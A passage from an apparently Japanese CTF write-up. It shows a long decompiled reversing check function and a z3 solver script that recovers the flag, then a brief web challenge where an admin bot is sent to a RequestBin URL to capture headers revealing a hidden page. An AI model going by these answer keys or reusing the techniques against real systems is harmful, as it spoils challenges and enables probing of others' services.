uVar1 = 1;
}
else {
if ((param_1[0x2f] ^ param_1[0x3b])
== 0x48) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3b] -
(int)(char)param_1[0x3a] == -7
) {
if ((param_1[0x11] ^
param_1[0x3c]) == 0x4a) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x33] +
(int)(char)param_1[0x3c]
== 0x65) {
uVar1 = 1;
}
else {
if ((param_1[0xe] ^
param_1[0x3c]) == 0x59)
{
uVar1 = 1;
}
else {
if (param_1[0x3c] ==
param_1[0x3b]) {
if ((int)(char)param_1[
0x3d] - (int)(char)param_1[0x3f] == 0x6a) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1a] +
(int)(char)param_1[0x3d] == 0xd6) {
uVar1 = 1;
}
else {
if ((param_1[0x15] ^ param_1[0x3d]) == 0x19) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3c] +
(int)(char)param_1[0x3d] == 0x9c) {
if ((int)(char)param_1[0x3e] -
(int)(char)param_1[5] == 0x50) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x19] +
(int)(char)param_1[0x3e] == 0xf7) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x31] +
(int)(char)param_1[0x3e] == 0xba)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3e] -
(int)(char)param_1[0x3d] == 0x11
) {
if ((param_1[0x2b] ^ param_1[0x3f]
) == 0x75) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x10] +
(int)(char)param_1[0x3f] ==
0x85) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[6] +
(int)(char)param_1[0x3f]
== 0x80) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3e]
+ (int)(char)param_1[
0x3f] == 0x87) {
uVar1 = 0;
}
else {
if ((int)(char)param_1[0x3f] -
(int)(char)param_1[9] == -0x4f) {
uVar1 = 1;
}
else {
if ((param_1[0x21] ^ param_1[0x3f]) == 0x6e) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3f] -
(int)(char)param_1[0x26] == -0x52) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x13] ^ param_1[0x3e]) == 6) {
uVar1 = 1;
}
else {
if ((param_1[0x36] ^ param_1[0x3e]) == 0x4a) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3b] +
(int)(char)param_1[0x3e] == 0xb1) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x3d] -
(int)(char)param_1[0xe] == 0x16) {
uVar1 = 1;
}
else {
if ((param_1[0x35] ^ param_1[0x3d]) == 0x13) {
uVar1 = 1;
}
else {
if ((param_1[0x36] ^ param_1[0x3d]) == 0x52)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x1b] +
(int)(char)param_1[0x3c] == 0xa9) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3c] -
(int)(char)param_1[0x3b] == 5) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3c] -
(int)(char)param_1[0x34] == -0x37) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[7] ^ param_1[0x3b]) == 0xb) {
uVar1 = 1;
}
else {
if ((param_1[1] ^ param_1[0x3b]) == 100) {
uVar1 = 1;
}
else {
if ((param_1[0x2c] ^ param_1[0x3b]) == 0xf)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x29] +
(int)(char)param_1[0x3a] == 0x70) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3a] -
(int)(char)param_1[0x15] == -0x2f) {
uVar1 = 1;
}
else {
if ((param_1[0x32] ^ param_1[0x3a]) == 0x45)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x25] ^ param_1[0x39]) == 0x33) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x30] +
(int)(char)param_1[0x39] == 0xc6) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x38] +
(int)(char)param_1[0x39] == 0x9e) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x20] +
(int)(char)param_1[0x38] == 0xa3) {
uVar1 = 1;
}
else {
if ((param_1[6] ^ param_1[0x38]) == 0x40) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x26] +
(int)(char)param_1[0x38] == 0x9b) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x37] -
(int)(char)param_1[0x2c] == 1) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xc] +
(int)(char)param_1[0x37] == 0x94) {
uVar1 = 1;
}
else {
if ((param_1[0x29] ^ param_1[0x37]) == 0xd)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x35] ^ param_1[0x36]) == 0x4e) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x36] -
(int)(char)param_1[0x22] == 0xd) {
uVar1 = 1;
}
else {
if (param_1[0x36] == param_1[0x3a]) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x35] -
(int)(char)param_1[0xe] == 0x1d) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1e] +
(int)(char)param_1[0x35] == 0xb4) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x35] -
(int)(char)param_1[0xb] == 0x49) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x26] +
(int)(char)param_1[0x34] == 0xcd) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x37] +
(int)(char)param_1[0x34] == 0xa3) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1b] +
(int)(char)param_1[0x34] == 0xe6) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[1] ^ param_1[0x33]) == 0x60) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x33] -
(int)(char)param_1[0x20] == -0x32) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x32] -
(int)(char)param_1[0xb] == 0x3d) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[3] +
(int)(char)param_1[0x32] == 0xba) {
uVar1 = 1;
}
else {
if ((param_1[0x28] ^ param_1[0x32]) == 0x11)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[10] ^ param_1[0x31]) == 0xe) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x23] +
(int)(char)param_1[0x31] == 0xa2) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[7] +
(int)(char)param_1[0x31] == 0x6d) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x2d] +
(int)(char)param_1[0x30] == 0x99) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x31] +
(int)(char)param_1[0x30] == 0x98) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x13] +
(int)(char)param_1[0x30] == 0xd8) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x26] +
(int)(char)param_1[0x2f] == 0xd1) {
uVar1 = 1;
}
else {
if ((param_1[9] ^ param_1[0x2f]) == 0xd) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((param_1[0x20] ^ param_1[0x2e]) == 0x40) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xd] +
(int)(char)param_1[0x2e] == 0x6c) {
uVar1 = 1;
}
else {
if ((param_1[0x2f] ^ param_1[0x2e]) == 0x45)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
else {
if ((param_1[0x1a] ^ param_1[0x2d]) == 0x5e) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1d] +
(int)(char)param_1[0x2d] == 0x95) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2d] -
(int)(char)param_1[0x3a] == 1) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0xe] ^ param_1[0x2c]) == 0x50) {
uVar1 = 1;
}
else {
if ((param_1[0x16] ^ param_1[0x2c]) == 5) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x30] +
(int)(char)param_1[0x2c] == 0x9d) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x37] +
(int)(char)param_1[0x2b] == 0xac) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x11] +
(int)(char)param_1[0x2b] == 0xed) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2b] -
(int)(char)param_1[0x2d] == 0x4d) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[2] ^ param_1[0x2a]) == 0x2b) {
uVar1 = 1;
}
else {
if ((param_1[0x3f] ^ param_1[0x2a]) == 0x6e) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2a] -
(int)(char)param_1[0x27] == 0x36) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x38] +
(int)(char)param_1[0x29] == 0x6c) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x27] +
(int)(char)param_1[0x29] == 0x69) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x29] -
(int)(char)param_1[0x10] == -0x3d) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x2e] ^ param_1[0x28]) == 0x4d) {
uVar1 = 1;
}
else {
if ((param_1[0x37] ^ param_1[0x28]) == 0x43) {
uVar1 = 1;
}
else {
if ((param_1[0x12] ^ param_1[0x28]) == 0x42)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x12] ^ param_1[0x27]) == 0xb) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x34] +
(int)(char)param_1[0x27] == 0xa7) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2a] +
(int)(char)param_1[0x27] == 0x98) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x26] -
(int)(char)param_1[0x22] == 0x38) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x26] -
(int)(char)param_1[0x1f] == -0x19) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x26] -
(int)(char)param_1[0x2b] == -0x14) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[6] +
(int)(char)param_1[0x25] == 0xd9) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x15] +
(int)(char)param_1[0x24] == 0xa2) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x24] -
(int)(char)param_1[0x1a] == -0x2e) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[9] +
(int)(char)param_1[0x24] == 0x9a) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x2b] ^ param_1[0x23]) == 0x17) {
uVar1 = 1;
}
else {
if ((param_1[0x36] ^ param_1[0x23]) == 0x50) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x23] -
(int)(char)param_1[0x30] == 0x17) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x22] -
(int)(char)param_1[0x30] == -0x26) {
uVar1 = 1;
}
else {
if ((param_1[0x3b] ^ param_1[0x22]) == 3) {
uVar1 = 1;
}
else {
if ((param_1[0x19] ^ param_1[0x22]) == 0x48)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x11] +
(int)(char)param_1[0x21] == 0xdc) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x15] +
(int)(char)param_1[0x21] == 0xd7) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x17] +
(int)(char)param_1[0x21] == 0xe0) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x31] ^ param_1[0x20]) == 0x53) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x17] +
(int)(char)param_1[0x20] == 0xea) {
uVar1 = 1;
}
else {
if ((param_1[0xd] ^ param_1[0x20]) == 0x55)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x32] ^ param_1[0x1f]) == 0xe) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x28] +
(int)(char)param_1[0x1f] == 0xf8) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x21] +
(int)(char)param_1[0x1f] == 0xe1) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x27] +
(int)(char)param_1[0x1e] == 0x69) {
uVar1 = 1;
}
else {
if ((param_1[8] ^ param_1[0x1e]) == 0x40) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1e] -
(int)(char)param_1[0x25] == -0x29) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x15] ^ param_1[0x1d]) == 0x29) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x23] +
(int)(char)param_1[0x1d] == 0xd4) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1d] -
(int)(char)param_1[0xb] == 0x31) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x16] ^ param_1[0x1c]) == 8) {
uVar1 = 1;
}
else {
if ((param_1[0x16] ^ param_1[0x1c]) == 9) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2c] +
(int)(char)param_1[0x1c] == 0x71) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x1b] -
(int)(char)param_1[0x3d] == 0xe) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[2] +
(int)(char)param_1[0x1b] == 0xbf) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3e] +
(int)(char)param_1[0x1b] == 0xfc) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x3c] ^ param_1[0x1a]) == 0x53) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1a] -
(int)(char)param_1[0x33] == 0x34) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1a] -
(int)(char)param_1[0x24] == 0x37) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((param_1[1] ^ param_1[0x19]) == 0x23) {
uVar1 = 1;
}
else {
if ((param_1[4] ^ param_1[0x19]) == 0xc) {
uVar1 = 1;
}
else {
if ((param_1[0x1f] ^ param_1[0x19]) == 9) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[7] ^ param_1[0x18]) == 9) {
uVar1 = 1;
}
else {
if ((param_1[0x12] ^ param_1[0x18]) == 4) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x18] -
(int)(char)param_1[0x14] == -0x2b) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x17] -
(int)(char)param_1[0x1d] == 0x22) {
uVar1 = 1;
}
else {
if ((param_1[0x25] ^ param_1[0x17]) == 0x1e) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x11] +
(int)(char)param_1[0x16] == 0xa5) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x31] +
(int)(char)param_1[0x16] == 0x65) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x17] +
(int)(char)param_1[0x16] == 0xad) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x15] -
(int)(char)param_1[0x12] == 0x44) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1e] +
(int)(char)param_1[0x15] == 0xad) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x15] -
(int)(char)param_1[0x1d] == 0x12) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x14] -
(int)(char)param_1[0x1e] == 0x34) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[9] +
(int)(char)param_1[0x14] == 0xbf) {
uVar1 = 1;
}
else {
if ((param_1[0x2d] ^ param_1[0x14]) == 0x6a)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x13] -
(int)(char)param_1[5] == 0x42) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x13] -
(int)(char)param_1[0x1c] == 0x48) {
uVar1 = 1;
}
else {
if ((param_1[0xf] ^ param_1[0x13]) == 0x4a)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[6] ^ param_1[0x12]) == 0x5c) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x12] -
(int)(char)param_1[0x23] == -0x31) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xd] +
(int)(char)param_1[0x12] == 0x6e) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x11] -
(int)(char)param_1[0x3c] == 0x41) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x11] -
(int)(char)param_1[7] == 0x3f) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x17] +
(int)(char)param_1[0x11] == 0xea) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[1] +
(int)(char)param_1[0x10] == 0xc5) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x15] +
(int)(char)param_1[0x10] == 0xeb) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x10] -
(int)(char)param_1[0x1e] == 0x41) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x29] +
(int)(char)param_1[0xf] == 0x69) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x17] +
(int)(char)param_1[0xf] == 0xb5) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xf] -
(int)(char)param_1[0x33] == 3) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0xe] -
(int)(char)param_1[0x31] == 0x34) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3d] +
(int)(char)param_1[0xe] == 0xcc) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x17] +
(int)(char)param_1[0xe] == 0xd8) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x3a] ^ param_1[0xd]) == 0xd) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xd] -
(int)(char)param_1[0x32] == -0x37) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xd] -
(int)(char)param_1[0x23] == -0x37) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x32] +
(int)(char)param_1[0xc] == 0xcf) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x27] +
(int)(char)param_1[0xc] == 0x95) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xc] -
(int)(char)param_1[0xe] == 4) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0xb] -
(int)(char)param_1[0x23] == -0x2d) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xb] -
(int)(char)param_1[0x16] == 10) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xb] -
(int)(char)param_1[0x15] == -0x32) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[10] -
(int)(char)param_1[0x3d] == -0x33) {
uVar1 = 1;
}
else {
if ((param_1[0x31] ^ param_1[10]) == 0xc) {
uVar1 = 1;
}
else {
if ((param_1[0x21] ^ param_1[10]) == 0x5a) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[9] -
(int)(char)param_1[0xb] == 0x32) {
uVar1 = 1;
}
else {
if ((param_1[0x1a] ^ param_1[9]) == 0x33) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[9] -
(int)(char)param_1[0x2b] == -0x13) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x35] +
(int)(char)param_1[8] == 0xf4) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3f] +
(int)(char)param_1[8] == 0x86) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[8] -
(int)(char)param_1[0x2a] == 0x15) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0xb] +
(int)(char)param_1[7] == 0x6e) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[5] +
(int)(char)param_1[7] == 0x72) {
uVar1 = 1;
}
else {
if (param_1[7] == param_1[0x3b]) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x38] ^ param_1[6]) == 0x58) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[6] -
(int)(char)param_1[0x2a] == 0x11) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x10] +
(int)(char)param_1[6] == 0xeb) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((param_1[0x1c] ^ param_1[5]) == 0xf) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[5] -
(int)(char)param_1[0x17] == -0x41) {
uVar1 = 1;
}
else {
if ((param_1[0x1c] ^ param_1[5]) == 0xe) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((param_1[0x2a] ^ param_1[4]) == 0x11) {
uVar1 = 1;
}
else {
if ((param_1[0x18] ^ param_1[4]) == 0x41) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[4] - (int)(char)param_1[5] ==
0x4f) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0xc] + (int)(char)param_1[3] == 0xab) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[3] - (int)(char)param_1[0x11] == -0x26) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[3] - (int)(char)param_1[0x1d] == -0x11)
{
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x32] + (int)(char)param_1[2] == 0xb8) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[6] + (int)(char)param_1[2] == 0xb7) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
else {
if ((param_1[0xd] ^ param_1[1]) == 0x74) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[1] - (int)(char)param_1[0x1c] == 0x1d) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[1] - (int)(char)param_1[10] == 0x1f) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
}
else {
if ((int)(char)param_1[0x36] + (int)(char)*param_1 == 0x7d) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x37] + (int)(char)*param_1 == 0x7a) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x10] + (int)(char)*param_1 == 0xc3) {
uVar1 = 1;
}
else {
uVar1 = 1;
}
}
}
}
}
}
}
return uVar1;
}
check関数でuVar1が1にならないルートを探す必要がある。angrで何とか解こうとしたが、コードが悪いのかうまくいかない。別の方法を考え、uVar1=1にならないよう、==の条件のみ取り出し、z3で解く。
from z3 import *
flaglen = 0x3f
x = [BitVec('x%d' % i, 8) for i in range(flaglen)]
s = Solver()
s.add(x[0] == 0x46)
s.add(x[1] - x[0] == 6)
s.add(x[1] ^ x[2] == 0xd)
s.add(x[2] ^ x[3] == 6)
s.add(x[3] ^ x[4] == 0x3c)
s.add(x[4] ^ x[5] == 0x4f)
s.add(x[5] ^ x[6] == 0x5a)
s.add(x[7] - x[6] == -0x38)
s.add(x[7] ^ x[8] == 0x44)
s.add(x[9] - x[8] == -0x13)
s.add(x[9] ^ x[10] == 0x6e)
s.add(x[10] + x[0xb] == 0x66)
s.add(x[0xb] + x[0xc] == 0x94)
s.add(x[0xd] - x[0xc] == -0x2b)
s.add(x[0xd] ^ x[0xe] == 0x6b)
s.add(x[0xe] ^ x[0xf] == 0x6a)
s.add(x[0xf] ^ x[0x10] == 0x40)
s.add(x[0x10] + x[0x11] == 0xe5)
s.add(x[0x12] - x[0x11] == -0x3d)
s.add(x[0x12] ^ x[0x13] == 0x41)
s.add(x[0x13] ^ x[0x14] == 0x2d)
s.add(x[0x14] ^ x[0x15] == 0x2f)
s.add(x[0x15] ^ x[0x16] == 0x40)
s.add(x[0x16] + x[0x17] == 0xa7)
s.add(x[0x17] ^ x[0x18] == 0x44)
s.add(x[0x18] + x[0x19] == 0xa5)
s.add(x[0x1a] - x[0x19] == -0xc)
s.add(x[0x1a] + x[0x1b] == 0xdb)
s.add(x[0x1b] + x[0x1c] == 0xa6)
s.add(x[0x1c] + x[0x1d] == 0x90)
s.add(x[0x1e] - x[0x1d] == -0x2a)
s.add(x[0x1f] - x[0x1e] == 0x44)
s.add(x[0x20] - x[0x1f] == -0xc)
s.add(x[0x21] - x[0x20] == -0xb)
s.add(x[0x21] + x[0x22] == 0x92)
s.add(x[0x23] - x[0x22] == 0x3c)
s.add(x[0x24] - x[0x23] == -0x3b)
s.add(x[0x25] - x[0x24] == 0x32)
s.add(x[0x25] ^ x[0x26] == 0x3c)
s.add(x[0x26] + x[0x27] == 0x92)
s.add(x[0x27] ^ x[0x28] == 0x4b)
s.add(x[0x28] + x[0x29] == 0xab)
s.add(x[0x29] ^ x[0x2a] == 0x50)
s.add(x[0x2b] - x[0x2a] == 0x12)
s.add(x[0x2b] ^ x[0x2c] == 0x42)
s.add(x[0x2c] ^ x[0x2d] == 6)
s.add(x[0x2d] ^ x[0x2e] == 1)
s.add(x[0x2e] + x[0x2f] == 0x9e)
s.add(x[0x2f] ^ x[0x30] == 0x31)
s.add(x[0x30] ^ x[0x31] == 0x6b)
s.add(x[0x32] - x[0x31] == 0x3a)
s.add(x[0x33] - x[0x32] == -0x3a)
s.add(x[0x33] + x[0x34] == 0xa0)
s.add(x[0x35] - x[0x34] == 0xd)
s.add(x[0x35] ^ x[0x36] == 0x4c)
s.add(x[0x37] - x[0x36] == -4)
s.add(x[0x37] + x[0x38] == 0x66)
s.add(x[0x38] + x[0x39] == 0x94)
s.add(x[0x3a] - x[0x39] == -0x28)
s.add(x[0x3b] - x[0x3a] == -7)
s.add(x[0x3c] == x[0x3b])
s.add(x[0x3c] + x[0x3d] == 0x9c)
s.add(x[0x3e] - x[0x3d] == 0x11)
r = s.check()
if r == sat:
m = s.model()
flag = ''
for i in range(flaglen):
flag += chr(m[x[i]].as_long())
print flag
FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}
Wani Request 1 (Web)
あどみんちゃんに送信したURLにアクセスしてもらい、フラグに関する情報を探す。RequestBinのURLを送信し、RequestBin側で通信の情報を見る。
Host: requestbin.net
Connection: close
Accept-Encoding: gzip
Cf-Ipcountry: JP
X-Forwarded-For: 13.230.177.250, 103.22.201.210
Cf-Ray: 647e6012abf4efb6-NRT
X-Forwarded-Proto: http
Cf-Visitor: {"scheme":"https"}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/?url=http://requestbin.net/r/4zb3b7gq
Accept-Language: en-US
Cf-Connecting-Ip: 13.230.177.250
Cdn-Loop: cloudflare
Cf-Request-Id: 09c2da5fa60000efb66482d000000001
X-Request-Id: ae05c014-3ba3-469a-9401-01dcbd6bcabe
X-Forwarded-Port: 80
Via: 1.1 vegur
Connect-Time: 0
X-Request-Start: 1619760597383
Total-Route-Time: 0
